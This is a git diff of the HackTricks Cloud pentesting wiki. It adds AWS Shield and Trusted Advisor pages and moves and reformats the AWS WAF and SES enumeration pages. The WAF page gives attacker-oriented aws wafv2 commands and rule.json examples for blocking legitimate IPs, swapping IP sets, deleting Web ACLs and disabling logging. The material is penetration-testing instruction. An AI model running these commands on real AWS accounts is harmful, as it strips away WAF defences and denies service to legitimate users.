+- [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info)
+- [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
new file mode 100644
index 000000000..073fcb091
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
@@ -0,0 +1,15 @@
+# AWS - Shield Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Shield
+
+AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS.
+
+**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53.
+
+**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**.
+
+Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.**
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
new file mode 100644
index 000000000..5ea8a625d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
@@ -0,0 +1,71 @@
+# AWS - Trusted Advisor Enum
+
+## AWS - Trusted Advisor Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS Trusted Advisor Overview
+
+Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories:
+
+1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses.
+2. **Performance:** Identifies potential performance bottlenecks.
+3. **Security:** Scans for vulnerabilities or weak security configurations.
+4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance.
+
+The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security.
+
+### Notifications and Data Refresh
+
+- Trusted Advisor can issue alerts.
+- Items can be excluded from its checks.
+- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh.
+
+### **Checks Breakdown**
+
+#### CategoriesCore
+
+1. Cost Optimization
+2. Security
+3. Fault Tolerance
+4. Performance
+5. Service Limits
+6. S3 Bucket Permissions
+
+#### Core Checks
+
+Limited to users without business or enterprise support plans:
+
+1. Security Groups - Specific Ports Unrestricted
+2. IAM Use
+3. MFA on Root Account
+4. EBS Public Snapshots
+5. RDS Public Snapshots
+6. Service Limits
+
+#### Security Checks
+
+A list of checks primarily focusing on identifying and rectifying security threats:
+
+- Security group settings for high-risk ports
+- Security group unrestricted access
+- Open write/list access to S3 buckets
+- MFA enabled on root account
+- RDS security group permissiveness
+- CloudTrail usage
+- SPF records for Route 53 MX records
+- HTTPS configuration on ELBs
+- Security groups for ELBs
+- Certificate checks for CloudFront
+- IAM access key rotation (90 days)
+- Exposure of access keys (e.g., on GitHub)
+- Public visibility of EBS or RDS snapshots
+- Weak or absent IAM password policies
+
+AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices.
+
+## **References**
+
+- [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
similarity index 73%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
index 67086a993..8ca8a6a3b 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
@@ -2,20 +2,7 @@
 
 ## AWS - WAF Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AWS WAF
 
@@ -60,7 +47,7 @@ A Lock Token is used for concurrency control when making updates to WAF resource
 
 API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations.
 
-* **Example**: Integration of the CAPTCHA API.
+- **Example**: Integration of the CAPTCHA API.
 
 #### Permission Policy
 
@@ -70,8 +57,8 @@ A Permission Policy is an IAM policy that specifies who can perform actions on A
 
 The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution.
 
-* **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located.
-* **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served.
+- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located.
+- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served.
 
 ### Key features
 
@@ -81,19 +68,19 @@ The scope parameter in AWS WAF specifies whether the WAF rules and configuration
 
 Each AWS account can configure:
 
-* **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased).
-* **100 rules** and **50 Web ACLs**.
-* A maximum of **5 rate-based rules**.
-* A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer.
+- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased).
+- **100 rules** and **50 Web ACLs**.
+- A maximum of **5 rate-based rules**.
+- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer.
 
 #### Rule actions
 
 Actions are assigned to each rule, with options being:
 
-* **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer.
-* **Block**: The request is terminated immediately.
-* **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block.
-* **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges.
+- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer.
+- **Block**: The request is terminated immediately.
+- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block.
+- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges.
 
 If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence:
 
@@ -109,12 +96,12 @@ AWS WAF integrates with CloudWatch for monitoring, offering metrics like Allowed
 
 In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia):
 
-* CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` .
-* API and SDKs - For all calls, use the Region endpoint us-east-1.
+- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` .
+- API and SDKs - For all calls, use the Region endpoint us-east-1.
 
 In order to interact with regional services, you should specify the region:
 
-* Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2`
+- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2`
 
 ```bash
 # Web ACLs #
@@ -128,7 +115,7 @@ aws wafv2 get-web-acl --name <value> --id <value> --scope <REGIONAL --region=<va
 aws wafv2 list-resources-for-web-acl --web-acl-arn <value> # Additional permissions needed depending on the protected resource type: cognito-idp:ListResourcesForWebACL, ec2:DescribeVerifiedAccessInstanceWebAclAssociations or apprunner:ListAssociatedServicesForWebAcl
 ## Retrieve the Web ACL associated with the specified AWS resource
 aws wafv2 get-web-acl-for-resource --resource-arn <arn> # Additional permissions needed depending on the protected resource type: cognito-idp:GetWebACLForResource, ec2:GetVerifiedAccessInstanceWebAcl, wafv2:GetWebACL or apprunner:DescribeWebAclForService
- 
+
 # Rule groups #
 
 ## List of the rule groups available in your AWS account
@@ -179,7 +166,7 @@ aws wafv2 get-decrypted-api-key --scope <REGIONAL --region=<value> | CLOUDFRONT
 
 ## List of logging configurations (storage location of the logs)
 aws wafv2 list-logging-configurations --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--log-scope <value>]
-## Retrieve the logging configuration settings associated with a specific web ACL 
+## Retrieve the logging configuration settings associated with a specific web ACL
 aws wafv2 get-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
 
 # Miscelaneous #
@@ -188,7 +175,7 @@ aws wafv2 get-logging-configuration --resource-arn <value> [--log-scope <CUSTOME
 aws wafv2 list-tags-for-resource resource-arn <value>
 
 ## Retrieve a sample of web requests that match a specified rule within a WebACL during a specified time range
-aws wafv2 get-sampled-requests --web-acl-arn <value> --rule-metric-name <value> --time-window <value> --max-items <1-500> --scope <value> 
+aws wafv2 get-sampled-requests --web-acl-arn <value> --rule-metric-name <value> --time-window <value> --max-items <1-500> --scope <value>
 
 ## Obtains the web ACL capacity unit (WCU) requirements for a specified scope and ruleset
 aws wafv2 check-capacity --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --rules <value>
@@ -202,11 +189,10 @@ aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
 
 ### Post Exploitation / Bypass
 
-{% hint style="success" %}
-From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs.
-
-However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF.
-{% endhint %}
+> [!TIP]
+> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs.
+>
+> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF.
 
 In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource.
 
@@ -214,9 +200,9 @@ In many of the Delete and Update operations it would be necessary to provide the
 
 An attacker would be able to compromise the security of the affected resource by:
 
-* Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service.
-* Updating rule groups, being able to modify its actions for example from **Block** to **Allow**.
-* Deleting rule groups that provide critical security measures.
+- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service.
+- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**.
+- Deleting rule groups that provide critical security measures.
 
 ```bash
 # Create Rule Group
@@ -239,23 +225,23 @@ The **rule.json** file would look like:
 
 ```json
 [
-    {
-        "Name":"BlockLegitimateIPsRule",
-        "Priority":0,
-        "Statement": {
-                "IPSetReferenceStatement": {
-                    "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-                }
-            },
-        "Action":{
-            "Block":{}
-        },
-        "VisibilityConfig":{
-            "SampledRequestsEnabled":false,
-            "CloudWatchMetricsEnabled":false,
-            "MetricName":"BlockLegitimateIPsRule"
-        }
+  {
+    "Name": "BlockLegitimateIPsRule",
+    "Priority": 0,
+    "Statement": {
+      "IPSetReferenceStatement": {
+        "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+      }
+    },
+    "Action": {
+      "Block": {}
+    },
+    "VisibilityConfig": {
+      "SampledRequestsEnabled": false,
+      "CloudWatchMetricsEnabled": false,
+      "MetricName": "BlockLegitimateIPsRule"
     }
+  }
 ]
 ```
 
@@ -265,13 +251,12 @@ The **rule.json** file would look like:
 
 With these permissions, an attacker would be able to:
 
-* Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service.
-* Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests.
-* Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks.
+- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service.
+- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests.
+- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks.
 
-{% hint style="info" %}
-You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false.
-{% endhint %}
+> [!NOTE]
+> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false.
 
 ```bash
 # Create Web ACL
@@ -290,45 +275,44 @@ The following examples shows how to update a Web ACL to block the legitimate tra
 
 ```json
 {
-    "WebACL": {
-        "Name": "AllowLegitimateIPsWebACL",
-        "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-        "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-        "DefaultAction": {
-            "Allow": {}
-        },
-        "Description": "",
-        "Rules": [
-            {
-                "Name": "AllowLegitimateIPsRule",
-                "Priority": 0,
-                "Statement": {
-                    "IPSetReferenceStatement": {
-                        "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-                    }
-                },
-                "Action": {
-                    "Allow": {}
-                },
-                "VisibilityConfig": {
-                    "SampledRequestsEnabled": false,
-                    "CloudWatchMetricsEnabled": false,
-                    "MetricName": "AllowLegitimateIPsRule"
-                }
-            }
-        ],
-        "VisibilityConfig": {
-            "SampledRequestsEnabled": false,
-            "CloudWatchMetricsEnabled": false,
-            "MetricName": "AllowLegitimateIPsWebACL"
-        },
-        "Capacity": 1,
-        "ManagedByFirewallManager": false,
-        "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:"
+  "WebACL": {
+    "Name": "AllowLegitimateIPsWebACL",
+    "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+    "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+    "DefaultAction": {
+      "Allow": {}
     },
-    "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+    "Description": "",
+    "Rules": [
+      {
+        "Name": "AllowLegitimateIPsRule",
+        "Priority": 0,
+        "Statement": {
+          "IPSetReferenceStatement": {
+            "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+          }
+        },
+        "Action": {
+          "Allow": {}
+        },
+        "VisibilityConfig": {
+          "SampledRequestsEnabled": false,
+          "CloudWatchMetricsEnabled": false,
+          "MetricName": "AllowLegitimateIPsRule"
+        }
+      }
+    ],
+    "VisibilityConfig": {
+      "SampledRequestsEnabled": false,
+      "CloudWatchMetricsEnabled": false,
+      "MetricName": "AllowLegitimateIPsWebACL"
+    },
+    "Capacity": 1,
+    "ManagedByFirewallManager": false,
+    "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:"
+  },
+  "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
 }
-
 ```
 
 Command to update the Web ACL:
@@ -341,23 +325,23 @@ The **rule.json** file would look like:
 
 ```json
 [
-    {
-        "Name": "BlockLegitimateIPsRule",
-        "Priority": 0,
-        "Statement": {
-            "IPSetReferenceStatement": {
-                "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-            }
-        },
-        "Action": {
-            "Block": {}
-        },
-        "VisibilityConfig": {
-            "SampledRequestsEnabled": false,
-            "CloudWatchMetricsEnabled": false,
-            "MetricName": "BlockLegitimateIPRule"
-        }
+  {
+    "Name": "BlockLegitimateIPsRule",
+    "Priority": 0,
+    "Statement": {
+      "IPSetReferenceStatement": {
+        "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+      }
+    },
+    "Action": {
+      "Block": {}
+    },
+    "VisibilityConfig": {
+      "SampledRequestsEnabled": false,
+      "CloudWatchMetricsEnabled": false,
+      "MetricName": "BlockLegitimateIPRule"
     }
+  }
 ]
 ```
 
@@ -369,20 +353,20 @@ The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate
 
 The additional permissions would be needed depending on the protected resource type:
 
-* **Associate**
-  * apigateway:SetWebACL
-  * apprunner:AssociateWebAcl
-  * appsync:SetWebACL
-  * cognito-idp:AssociateWebACL
-  * ec2:AssociateVerifiedAccessInstanceWebAcl
-  * elasticloadbalancing:SetWebAcl
-* **Disassociate**
-  * apigateway:SetWebACL
-  * apprunner:DisassociateWebAcl
-  * appsync:SetWebACL
-  * cognito-idp:DisassociateWebACL
-  * ec2:DisassociateVerifiedAccessInstanceWebAcl
-  * elasticloadbalancing:SetWebAcl
+- **Associate**
+  - apigateway:SetWebACL
+  - apprunner:AssociateWebAcl
+  - appsync:SetWebACL
+  - cognito-idp:AssociateWebACL
+  - ec2:AssociateVerifiedAccessInstanceWebAcl
+  - elasticloadbalancing:SetWebAcl
+- **Disassociate**
+  - apigateway:SetWebACL
+  - apprunner:DisassociateWebAcl
+  - appsync:SetWebACL
+  - cognito-idp:DisassociateWebACL
+  - ec2:DisassociateVerifiedAccessInstanceWebAcl
+  - elasticloadbalancing:SetWebAcl
 
 ```bash
 # Associate
@@ -403,13 +387,13 @@ aws wafv2 create-ip-set --name <value> --ip-address-version <IPV4 | IPV6> --addr
 # Update IP set
 aws wafv2 update-ip-set --name <value> --id <value> --addresses <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 # Delete IP set
-aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> 
+aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
 
 The following example shows how to **overwrite the existing IP set by the desired IP set**:
 
 ```bash
-aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 
+aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
 ```
 
 **Potential Impact**: Unauthorized access and block of legitimate traffic.
@@ -418,13 +402,13 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
 
 An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns.
 
-* Creating new regex patterns would help an attacker to allow harmful content
-* Updating the existing patterns, an attacker would to bypass security rules
-* Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures.
+- Creating new regex patterns would help an attacker to allow harmful content
+- Updating the existing patterns, an attacker would to bypass security rules
+- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures.
 
 ```bash
 # Create regex pattern set
-aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>] 
+aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
 # Update regex pattern set
 aws wafv2 update-regex-pattern-set --name <value> --id <value> --regular-expression-list <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 # Delete regex pattern set
@@ -439,13 +423,12 @@ An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to rem
 
 During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination:
 
-* **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group.
-* **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket.
-* **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream.
+- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group.
+- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket.
+- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream.
 
-{% hint style="info" %}
-It is possible to define only one logging destination per web ACL.
-{% endhint %}
+> [!NOTE]
+> It is possible to define only one logging destination per web ACL.
 
 ```bash
 # Put logging configuration
@@ -462,7 +445,7 @@ An attacker with this permissions would be able to delete existing API keys, ren
 
 ```bash
 # Delete API key
-aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> 
+aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
 
 **Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft.
@@ -482,20 +465,7 @@ aws wafv2 untag-resource --resource-arn <value> --tag-keys <value>
 
 ## References
 
-* [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/)
-* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html)
+- [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/)
+- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
similarity index 61%
rename from pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
index bc219d0c6..88fb06dd8 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
@@ -1,19 +1,6 @@
 # AWS - SES Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -51,11 +38,9 @@ It's also possible to do this from the AWS console web.
 
 ### Enumeration
 
-{% hint style="warning" %}
-Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two.
-{% endhint %}
+> [!WARNING]
+> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two.
 
-{% code overflow="wrap" %}
 ```bash
 # Get info about the SES account
 aws sesv2 get-account
@@ -132,25 +117,11 @@ aws ses get-send-quota
 ## Get statistics
 aws ses get-send-statistics
 ```
-{% endcode %}
 
 ### Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-ses-post-exploitation.md" %}
-[aws-ses-post-exploitation.md](../aws-post-exploitation/aws-ses-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-ses-post-exploitation.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
